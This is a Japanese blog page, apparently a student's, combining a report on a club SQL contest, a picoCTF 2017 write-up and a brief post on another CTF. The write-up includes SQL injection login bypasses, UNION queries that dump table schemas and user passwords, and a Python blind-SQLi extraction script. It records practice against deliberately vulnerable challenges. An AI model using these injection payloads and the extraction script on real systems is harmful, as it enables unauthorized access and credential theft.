ふるつき

v(*'='*)v かに

Joken SQL Challenge #1 を開催しました。

 過去、 Joken Marathon Challenge を開催して大失敗したことがありましたが、めげずに、今度は Joken SQL Challenge を開催しました。

スコアサーバや問題に関するリポジトリ(使用したデータはMastodonから実在のものをスクレイピングしたため、公開していません):

github.com

Joken SQL Challenge とはなにか

Joken とは私が所属している情報処理研究会の通称であり、 SQL Challenge はその名の示す通り、SQLに関するコンテストです。今回は、 PostgreSQL 上での SELECT 文の技術を競うコンテストにしました。様々なデータをSELECT文一つで取得するというわけです。

 問題はたとえば、こんな感じで出題されます。これは実際に出題された問題のひとつで、難易度でいえば難問の部類に入ります。

f:id:Furutsuki:20170429133027p:plain

これにたいして、ユーザは次のようなクエリを実行することでこの問題の指示を満たし、問題を解こうとします(図は不正解になるけど)。

f:id:Furutsuki:20170429133258p:plain

 このように、全部で16問が配点とともに用意されており、もっとも点数を稼いだユーザが優勝になります。競技時間はおよそ1時間45分となりました

競技の結果

 はじめに 30 分ほど SQL とは、データベースとは、SQLの文法についてなどを喋ったあとに競技をやってもらいました。

すると、こんな結果になりました。 theoldmoon0602 は私のダミーアカウントなので、全部で 7名の参加ですね。

f:id:Furutsuki:20170429133723p:plain

 1位が 1000 点を取れたら上々かな、と思っていたのですが、思いのほか優秀な成績を残して楽しんでもらえていたようなので、こちらは成功といえる結果だったと思っています。

 一方で、実際にやってもらうと、作問ミスがあったり、UIのわかりづらさがあったりと運営側の甘さもわかりました。

開催してみてどうだったか

 楽しかったです。企画しだしたのは 4/8 頃のようで、ptr-yudaiに「こんなのやりたいけどどうだろう?」とお尋ねしていました。今回はptr-yudaiは不参加で、オブザーバのような役割を果たしてもらったのですがこれも正解だったと思います。

 

picoctf 2017 writeup

一週間か二週間くらいの期間で、 picoctf という ctf がありました。私は zeropts というチームで参加して 2305 / 6575 pts で 397 位でした。スコアボードが見やすくなくて、なんチームくらい参加してたのかわからないですが。

 最初はひとりで参加してましたが、途中で tsun くんと一緒になってやりました。 pwn 系は全部放り投げました。私が解いた問題について write up 書きます。

Level 1

Internet Kitties [Misc 10]

↓でふらぐがもらえる問題です。

[root ~] # nc shell2017.picoctf.com 24369
Yay! You made it!
Take a flag!
8eb2c54a37f4f6b7233b00c4800d0075

What Is Web [Web 20]

適当な HTML ページに飛ばされて、ソースコードをみると

<!-- Cool! Look at me! This is an HTML file. It describes what each page contains in a format your browser can understand. -->
<!-- The first part of the flag (there are 3 parts) is 8d96c7d8966 -->
<!-- What other types of files are there in a webpage? -->

とありました。 css と js へのリンクがあったのでそっちも覗くと

/*
This is the css file. It contains information on how to graphically display
the page. It is in a seperate file so that multiple pages can all use the same 
one. This allows them all to be updated by changing just this one.
The second part of the flag is 8106eabacc0 
*/
/* This is a javascript file. It contains code that runs locally in your
 * browser, although it has spread to a large number of other uses.
 *
 * The final part of the flag is 3b680682297
 */

がありフラグとなりました。

looooong [Misc 20]

nc すると

[root ~] # nc shell2017.picoctf.com 51091
To prove your skills, you must pass this test.
Please give me the 'E' character '728' times, followed by a single '2'.
To make things interesting, you have 30 seconds

という表示になりました。30秒もまってくれるらしいので、悠々と python を立ち上げてお望みの入力を生成して貼り付けました。

You got it! You're super quick!
Flag: with_some_recognition_and_training_delusions_become_glimpses_cf0c40cbcc7efbd5121222729fff9263

WorldChat [Misc 30]

nc するとあほほどテキストが流れてきました。チャットサービスのまねをしているらしいです。 flag という文字が見えたので C-c すると、 flagperson という人物が flag の一部を喋ってくれていたので、 grep して適当なタイミングで C-c しました。

>|[root ~] # nc shell2017.picoctf.com 5026 | grep "flagperson"|
17:03:09 flagperson: this is part 1/8 of the flag - 2e5c
17:03:10 flagperson: this is part 2/8 of the flag - 3014
17:03:13 flagperson: this is part 3/8 of the flag - a9c5
17:03:19 flagperson: this is part 4/8 of the flag - ff31
17:03:23 flagperson: this is part 5/8 of the flag - 5a5c
17:03:24 flagperson: this is part 6/8 of the flag - b6db
17:03:26 flagperson: this is part 7/8 of the flag - 97bc
17:03:26 flagperson: this is part 8/8 of the flag - addf
17:03:26 flagperson: this is part 1/8 of the flag - 2e5c
17:03:31 flagperson: this is part 2/8 of the flag - 3014
^C
|

2e5c3014a9c5ff315a5cb6db97bcaddf2e5c3014

Digital Camouflage [Forensic 50]

pcap が与えられました。どんな データだたか忘れてしまいましたが、いくつかの http 通信があったとおもいます。そのなかで なにかしらの認証に成功しているストリームを見つけ出してきて、パスワードの base64 を decode してやるとそれがフラグでした。

R6AKNhWwo7

Special Agent User [Forensic 50]

同様に pcap が与えられました。いくつかの http 通信があり、問題文では「ブラウザの種類が大事やねん。それがフラグや」というかんじのことを言っていたので、とりあえずユーザエージェントとして投げられているブラウザ名を片端から submit しました。 Chrome 34.0.1847.137 でした。

Substitute [Crypto 40]

MIT YSAU OL OYGFSBDGRTKFEKBHMGCALSOQTMIOL. UTFTKAMTR ZB DAKQGX EIAOF GY MIT COQOHTROA HAUT GF EASXOF AFR IGZZTL. ZT CTKT SGFU, MIT YSACL GF A 2005 HKTLTF...

のような長い文字列が与えられました。 http://quipqiup.com/ におまかせしました。

THE FLAG IS IFONLYMODERNCRYPTOWASLIKETHIS. GENERATED BY MARKO? CHAIN OF THE WIKIPEDIA PAGE ON CAL?IN AND HOBBES. BE WERE LONG, THE FLAWS ON A 2005 PRESENT TIMES THAN ...

Hash101 [Crypto 50]

nc すると 「101000100 になる ASCII 文字列は?」とか、 mod 16 をとって 2になる文字列は?  とかあわせて 4問くらい聞かれたので python で愚直に変換してやった結果を投げたら

Correct! Completed level 4
You completed all 4 levels! Here is your prize: c3ee093f26ba147ccc451fd13c91ffce

keyz [Crypto 20]

なんか 問題ページに terminal ぽいのがあったんですが不調だったので飛ばしてたらこれとかないと先に進めなくなったのでリロードチャレンジをして使えるようになったタイミングで webshellにログインしました。 ssh キーを登録しなさいとのことだったので 適当に生成した公開鍵を投げました。

Leaf of the Tree [Misc 20]

ここからは ssh 接続しての問題でした。

/problems/a45d1519bd193bc3a273744c83fad1e2 以下に何かファイルがあるよと言われたので、 ls -R しました。するといろいろ長い名前のディレクトリとかファイルが出てきましたが、そのなかに flag という名前のファイルがあったので cat しました。

theoldmoon0602@shell-web:/problems/a45d1519bd193bc3a273744c83fad1e2$ cat ./trunk/trunk9ef5/trunkded5/trunk3f6a/trunk6034/trunk41fe/trunkb847/trunk7d34/flag 
1510e551a2821bd027da10a7653814c8

Leaf of the Forest [Misc 30]

さっきとおんなじ系統の問題だけどさらにファイルが多いぞって言われたので、 find . -name "flag" しました。

6c0d4a69fdff4ea12609fd1989749dd5

Hex2Raw [Rev 20]

hex2raw すると Give me this in raw form (0x41 -> 'A'): 1a558acddabd64bbccdd94903eafdf18 とのことなので、 python で変換して printf '\x1aU\x8a\xcd\xda\xbdd\xbb\xcc\xdd\x94\x90>\xaf\xdf\x18' | ./hex2raw としました。

You gave me:
1a558acddabd64bbccdd94903eafdf18
Yay! That's what I wanted! Here be the flag:
ceb80093717fd7e9aae149dacc7ac9b3

Raw2Hex [Rev 20]

フラグを吐いてくれるバイナリがあったんですがそれのhex表現がフラグだっていわれました。 hexdump に繋いでたんですが見辛いのでぐぐるxxd -p が使えることを知りました。

theoldmoon0602@shell-web:/problems/87c7dd790daa359b529f1a24e9f8763f$ ./raw2hex 
The flag is:���7�JM�^��B�
theoldmoon0602@shell-web:/problems/87c7dd790daa359b529f1a24e9f8763f$ ./raw2hex | xxd -p
54686520666c61672069733af4f47fac37994a4dbe5e15b9c342891b

最後の出力から The flag is: の部分を取り除いたものがフラグでした。

computeAES [Crypto 50]

Encrypted with AES in ECB mode. All values base64 encoded ciphertext = rvn6zLZS4arY+yWNwZ5YlbLAv/gjwM7gZJnqyQjhRZVCC5jxaBvfkRapPBoyxu4e key = /7uAbKC7hfINLcSZE+Y9AA==

という問題でした。暗号文と鍵が与えられてるのでやるだけです。

>>> from Crypto.Cipher import AES
>>> aes = AES.new('/7uAbKC7hfINLcSZE+Y9AA=='.decode('base64'), AES.MODE_ECB)
>>> aes.decrypt('rvn6zLZS4arY+yWNwZ5YlbLAv/gjwM7gZJnqyQjhRZVCC5jxaBvfkRapPBoyxu4e'.decode('base64'))
'flag{do_not_let_machines_win_82e02651}__________'

computeRSA [Crypto 50]

encrypted number 150815, d = 1941, and N = 435979, what is the decrypted number?

なので、

>>> pow(150815, 1941, 435979)
133337

です。

Bash Loop [PWN 40]

フラグを吐いてくれるバイナリがいましたが、引数に1から4096の間の数値を与えて、それがあっていたらフラグを吐いてくれるとのことでした。まちがっていたら Nope といわれるのでそれ以外を grep しました。

for i in `seq 4096`; do ./bashloop $i >> ~/hg; done;

theoldmoon0602@shell-web:~$ grep -v Nope hg
Yay! That's the number! Here be the flag: 5cabdea71dd5f428c8e080db5010a7d6

Just No [Pwn 40]

theoldmoon0602@shell-web:/problems/ec9da1496f80c8248197ba564097cebb$ cat justno.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>

int main(int argc, char **argv){ 
  FILE* authf = fopen("../../problems/ec9da1496f80c8248197ba564097cebb/auth","r"); //access auth file in ../../../problems/ec9da1496f80c8248197ba564097cebb
  if(authf == NULL){
    printf("could not find auth file in ../../problems/ec9da1496f80c8248197ba564097cebb/\n");
    return 0;
  }
  char auth[8];
  fgets(auth,8,authf);
  fclose(authf);
  if(strcmp(auth,"no")!=0){
    FILE* flagf;
    flagf = fopen("/problems/ec9da1496f80c8248197ba564097cebb/flag","r");
    char flag[64];
    fgets(flag,64,flagf);
    printf("Oh. Well the auth file doesn't say no anymore so... Here's the flag: %s",flag);
    fclose(flagf);
  }else{
    printf("auth file says no. So no. Just... no.\n");
  }
  return 0;
}

こういうソースコードのバイナリがありました。 それっぽいファイルには no と書いてあって、上書きはできませんでした。悩んでたんですがシンボリックリンクを貼るとうまくいきました。

Oh. Well the auth file doesn't say no anymore so... Here's the flag: e4cec8fdf76a931b03ad7ef026103d43

Lazy Dev [MASTER 50]

MASTER 問題を解くと次のレベルにいけます。

こんな感じの js が埋め込まれたログインサイトがありました。

//Validate the password. TBD!
function validate(pword){
  //TODO: Implement me
  return false;
}

//Make an ajax request to the server
function make_ajax_req(input){
  var text_response;
  var http_req = new XMLHttpRequest();
  var params = "pword_valid=" + input.toString();
  http_req.open("POST", "login", true);
  http_req.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
  http_req.onreadystatechange = function() {//Call a function when the state changes.
    if(http_req.readyState == 4 && http_req.status == 200) {
      document.getElementById("res").innerHTML = http_req.responseText;
    }
  }
  http_req.send(params);
}

//Called when the user submits the password
function process_password(){
  var pword = document.getElementById("password").value;
  var res = validate(pword);
  var server_res = make_ajax_req(res);
}

ログインボタンを押すと validate がよばれるけど実装されてないからログインできないらしいです。 ブラウザのコンソールを開いて make_ajax_req(true); としたところ

client_side_is_the_dark_sidebde1f567656f8c9b654a1ec24e1ff889 が得られました。

Level 2

Yarn [Misc 55]

バイナリが与えられて悩んでたんですが strings -n3 するだけでした。 yarn って string と同義でいいんですかね。

Sub
mit
_me
_fo
r_I
_am
_th
e_f
lag

My First SQL [Web 50]

ログインぺーじがありました。admin'OR'a'='a で通りました。 be_careful_what_you_let_people_ask_1b3db77df6b116a38db8ceb7c81cb14c

Mystery Box [Misc 60]

エニグマの写真と状態が与えられたので http://enigma.louisedade.co.uk/enigma.html になげました。 QUIT EPUZZL INGIND EED

SoRandom [Crypto 75]

 flag = "FLAG:"+open("flag", "r").read()[:-1]
 encflag = ""
 random.seed("random")
 for c in flag:
   if c.islower():
     #rotate number around alphabet a random amount
     encflag += chr((ord(c)-ord('a')+random.randrange(0,26))%26 + ord('a'))
   elif c.isupper():
     encflag += chr((ord(c)-ord('A')+random.randrange(0,26))%26 + ord('A'))
   elif c.isdigit():
     encflag += chr((ord(c)-ord('0')+random.randrange(0,10))%10 + ord('0'))
   else:
     encflag += c
 print "Unguessably Randomized Flag: "+encflag

# Unguessably Randomized Flag: BNZQ:4pg33e44sdu4wu8198y15q685vpx8041

というファイルが与えられました。脳死で適当にデコードを書いたらうまくいきました。

def dec(flag):
    random.seed("random")
    encflag=""
    for c in flag:
        if c.islower():
            #rotate number around alphabet a random amount
            encflag += chr((ord(c)-ord('a')-random.randrange(0,26))%26 + ord('a'))
        elif c.isupper():
            encflag += chr((ord(c)-ord('A')-random.randrange(0,26))%26 + ord('A'))
        elif c.isdigit():
            encflag += chr((ord(c)-ord('0')-random.randrange(0,10))%10 + ord('0'))
        else:
            encflag += c
    print(encflag)

dec("BNZQ:4pg33e44sdu4wu8198y15q685vpx8041")

FLAG:1eb52f21eba0ec8921b41a030afd5931

Meta Find Me [For 70]

jpeg 画像が与えれました。 strings すると Your flag is flag_2_meta_4_me_<lat>_<lon>_f8ad. Now find the GPS coordinates of this image! (Degrees only please) が出てきました。

exif をみて値をはめました。

flag_2_meta_4_me_91_124_f8ad

Just Keyp Trying [For 80]

usb のパケットが与えられて「はーつらい」って言ってました。このあたりをいい感じに解けるライブラリってないですか。

tshark で値が変わっているところだけ切り出しました。 tshark -r data.pcap -Tfields -e usb.capdata > usb.data

それを python でえいってしました。

>>> f = file("usb.data").read().splitlines()
>>> ks = []
>>> for l in f:
...     ls = l.split(':')
...     if ls[2] == '00': continue
...     if ls[0] != '00': ks.append(ls[0])
...     ks.append(ls[2])
... 
>>> ks
['09', '0f', '04', '0a', '20', '2f', '13', '15', '20', '22', '22', '20', '2d', '27', '11', '1a', '04', '15', '07', '16', '20', '2d', '04', '21', '1f', '23', '20', '09', '27', '24', '20', '30', '01', '06']
>>> flag{pr355_0nwards_a4263F07}

デコードは http://www.usb.org/developers/hidpage/Hut1_12v2.pdf の p53 をみながら手でやりました。いい感じのライブラリないですか。 20 が shift キーだったり違ったりしてややこしかったので失敗

LeakedHashes [Crypto 90]

ユーザ名と md5 のリストが与えられました。 john とかしてたけどアホで、 普通に md5 の cracker に投げたらデコードできました。nc 先に適当なユーザのパスワードを投げると

     /\__/\ 
    /`    '\ 
  === 0  0 ===
    \  --  /    - flag is ac09afa2fcc825a31b9a46bab6223dd3

   /        \ 
  /          \ 
 |            |
  \  ||  ||  /
   \_oo__oo_/#######o

でした。

TW_GR_E1_ART [WEB 100]

ぼくの知ってる範囲で言うと、ポケモン不思議のダンジョンみたいなゲームでした。最下層にいくとフラグっぽいアイテムが大量に落ちていてどれか一つが本物だけどはずれを引くと全部やりなおしでめっちゃ面倒な感じでした。

node製っぽくて package.json が見えたので辿っていくと ソースコードが見えて、呼んでいくと当たりフラグの座標がわかったのでそれを拾って使いました。

Toaster used the Flag!
A soft voice on the wind speaks to you: "The secret you are looking for is at_least_the_world_wasnt_destroyed_by_a_meteor_ebb38a54b1bbe2d3fafb0460af19ea14. Use it wisely."
All items were destroyed!

Missing Identity [何か 100]

何かしらのファイルが与えられて、中身は png っぽいんだけどちゃんと見れないみたいな感じだったと思います。先頭が XXXXX になっていて、これを png のフォーマットになおしてやったらフラグが見える感じでした。これにめっちゃ悩まされて阿呆っぽい。

Level 3

Level 2の他の問題は tsun くんがときました。

Biscuit [Web 75]

なにかのページにやってきました。ソースコードをみると

<!-- Storing stuff in the same directory as your web server doesn't seem like a good idea -->
<!-- Thankfully, we use a hidden one that is super PRIVATE, to protect our cookies.sqlite file -->
<style>
body{
    background-image: url("private/image.png");
}
</style>

とあって、 private/cookies.sqlite にアクセスすると落ちてきました。これは firefox のクッキーを保存してる db っぽくて、1行しかなかったのでそのクッキーを装備してもう一度サイトにアクセスするとフラグをもらえました。

e5cd648b3f7e254fa0c384e6757233f7

A Happy Union [Web 110]

全然わからなかったんですが、ユーザ名の登録のときだけ sqli っぽいのができて、それがユーザ個人ページでのクエリを侵食できるということを tsun くんが見つけてくれたのでやるだけしてました。

' union select name,2,3 from sqlite_master -- というユーザを作って posts、 sqlite_sequence、 users というテーブルが有ることをつきとめ、 'union select sql, 2, 3 from sqlite_master-- というユーザを作って、 各テーブルのカラム名も取得しました。 あとは 'union select user, pass, 3 from users-- すると、 admin flag{union?_why_not_onion_b6e6a3cd8e3f1fe5f6109d1618bddbd1} でした。

No Eyes [Web 125]

これもログインページでした。 admin のパスワードを突き止めろ、と言われていました。 とりあえず パスワードに a' OR 'a'='a を入れましたが全然だめっぽくて、ユーザ名に入れてみたら Login Functionality Not Complete. Flag is 63 characters といわれのでなるほどねと思いました。 ブラインド sqli かなと思ったんですが面倒でやりたくなかったのでいろいろ頑張ったんですがだめだめぽくて、結局すくりぷとをかいて blind sqli しました。

import requests
import time
import string


target = 'http://shell2017.picoctf.com:33838/'

cur="not_all_errors_should_be_shown_"
for i in range(len(cur), 64):
    for c in "_{}-0987654321"+string.ascii_letters:
        r = requests.post(target, data={
            'username': "admin' and length(pass)=63 and substr(pass, 1, {})='{}".format(i+1, cur+c),
            'password': "'OR'a'='a"
            })
        res = [t for t in r.text.splitlines() if "strong" in t][0].strip()
        print("try={}, res={}".format(cur+c, res))
        if "Found" not in res:
            cur +=c 
            print("Hit!: {}".format(cur))
            break
        
        time.sleep(0.05)

途中まで like 句でマッチを探していて _ が任意の一文字にマッチしてしまったので cur にその時点までのパスワードをいれてまつ。

not_all_errors_should_be_shown_07fa15beae68af0694171000114ec419



というわけで私は全部で 1600 pts をいれました。 tsun くんは途中からはいったので得点の配分としてはこんなものかなと思います。picoctf は初心者向けと聞いていたのですが Level2 でも全完はできていなくて(なんかなぞの bmp バス問題解けなかったしRSA破るみたいなやつも放棄しちゃった)しっかり初心者していきたいなと思いました。結局といたことがあるような自明問題ばかりをやっていたので初めて出会う問題とも戦っていきたいきもちを強くしました。

おわり。

サイバーコロッセオに参加した

Musashiというチームでサイバーコロッセオに参加していました。

MusashiとHarekazeの人々が集まっている中、誰の顔も補足できなかった僕は一人で会場入りしそうになり、泣きそうでした。

サイコロは King of the Hill 形式でしたが、今回も、SECCON本選に続いて、 jeopardy してました。

僕が解いたのは二問くらいで、 cat keyword1.txt すると 100pt が入る問題と、 nano keyword2.txt すると 100pt が入る問題です。

強いチームはガンガン点数を入れていて、まじかこれが力の差か……となりました。もっと解けるようになりたいし、 defense keyword が意味をなす程度には強くなりたいなと思いました。